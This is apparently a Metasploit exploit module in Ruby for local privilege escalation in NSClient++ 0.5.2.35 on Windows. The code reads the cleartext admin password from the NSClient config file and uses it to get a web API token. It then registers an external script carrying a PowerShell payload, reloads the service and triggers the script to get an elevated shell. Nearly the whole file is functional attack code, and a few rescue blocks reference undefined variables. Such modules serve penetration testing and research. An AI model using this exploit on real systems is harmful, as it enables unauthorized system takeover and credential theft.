248 lines
7.4 KiB
Ruby
248 lines
7.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Exploit::Remote::HttpClient
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include ::Msf::Exploit::Powershell
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
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'Description' => %q{
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This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
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For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.
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You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
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},
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'License' => MSF_LICENSE,
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# This module is kind of mix of the two following POCs :
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'Author' => [ # This module is kind of mix of the two following POCs :
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'kindredsec', # POC on www.exploit-db.com
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'BZYO', # POC on www.exploit-db.com
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'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
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],
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'References' => [
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['EDB', '48360'],
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['EDB', '46802']
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],
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'Platform' => %w[windows],
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'Arch' => [ARCH_X64],
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'Targets' => [
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[
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'Windows',
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{
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :windows_powershell
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => '2020-10-20',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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},
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'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
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)
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)
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deregister_options('RHOSTS')
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register_options [
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OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),
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OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
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]
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end
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def rhost
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session.session_host
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end
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def configure_payload(token, cmd, key)
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print_status('Configuring Script with Specified Payload . . .')
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plugin_id = rand(1..10000).to_s
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node = {
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'path' => '/settings/external scripts/scripts',
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'key' => key
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}
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value = { 'string_data' => cmd }
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update = { 'node' => node, 'value' => value }
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payload = [
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{
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'plugin_id' => plugin_id,
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'update' => update
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}
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]
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json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
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r = send_request_cgi({
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'method' => 'POST',
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'data' => JSON.generate(json_data),
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri('/settings/query.json')
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})
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if !(r&.body.to_s.include? 'STATUS_OK')
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print_error('Error configuring payload. Hit error at: ' + endpoint)
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end
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print_status('Added External Script (name: ' + key + ')')
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sleep(3)
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print_status('Saving Configuration . . .')
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header = { 'version' => '1' }
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payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
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json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
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send_request_cgi({
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'method' => 'POST',
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'data' => JSON.generate(json_data),
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri('/settings/query.json')
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})
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end
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def reload_config(token)
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print_status('Reloading Application . . .')
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send_request_cgi({
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'method' => 'GET',
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri('/core/reload')
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})
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print_status('Waiting for Application to reload . . .')
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sleep(10)
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response = false
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count = 0
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until response
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begin
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sleep(datastore['DELAY'])
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r = send_request_cgi({
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'method' => 'GET',
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri('/')
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})
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if r && !r.body.empty?
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response = true
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end
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rescue StandardError
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print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
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end
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count += 1
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if count > 10
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fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
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end
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end
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end
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def trigger_payload(token, key)
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print_status('Triggering payload, should execute shortly . . .')
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send_request_cgi({
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'method' => 'GET',
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri("/query/#{key}")
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})
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rescue StandardError
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print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
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end
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def external_scripts_feature_enabled?(token)
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r = send_request_cgi({
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'method' => 'GET',
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'headers' => { 'TOKEN' => token },
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'uri' => normalize_uri('/registry/control/module/load'),
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'vars_get' => { 'name' => 'CheckExternalScripts' }
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})
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r&.body.to_s.include? 'STATUS_OK'
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end
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def get_auth_token(pwd)
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r = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/auth/token?password=' + pwd)
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})
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if r&.code == 200
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auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
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return auth_token
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end
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rescue StandardError => e
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print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
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end
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def get_arg(line)
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line.split('=')[1].gsub(/\s+/, '')
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end
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def leak_info
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file_contents = read_file(datastore['FILE'])
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return unless file_contents
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a = file_contents.split("\n")
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pwd = nil
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web_server_enabled = false
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a.each do |x|
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if x =~ /password/
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pwd = get_arg(x)
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print_good("Admin password found : #{pwd}")
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elsif x =~ /WEBServer/
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if x =~ /enabled/
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web_server_enabled = true
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print_good('NSClient web interface is enabled !')
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end
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end
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end
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return pwd, web_server_enabled
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end
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def check
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datastore['RHOST'] = session.session_host
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pwd, web_server_enabled = leak_info
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if pwd.nil?
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CheckCode::Unknown('Admin password not found in config file')
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elsif !web_server_enabled
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CheckCode::Safe('NSClient web interface is disabled')
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else
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token = get_auth_token(pwd)
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if token.nil?
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CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
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elsif external_scripts_feature_enabled?(token)
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CheckCode::Vulnerable('External scripts feature enabled !')
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else
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CheckCode::Safe('External scripts feature disabled !')
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end
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end
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end
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def exploit
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datastore['RHOST'] = session.session_host
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pwd, _web_server_enabled = leak_info
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cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
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token = get_auth_token(pwd)
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if token
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rand_key = rand_text_alpha_lower(10)
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configure_payload(token, cmd, rand_key)
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reload_config(token)
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token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
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trigger_payload(token, rand_key)
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else
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print_error('Auth token couldn\'t be retrieved.')
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end
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end
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end
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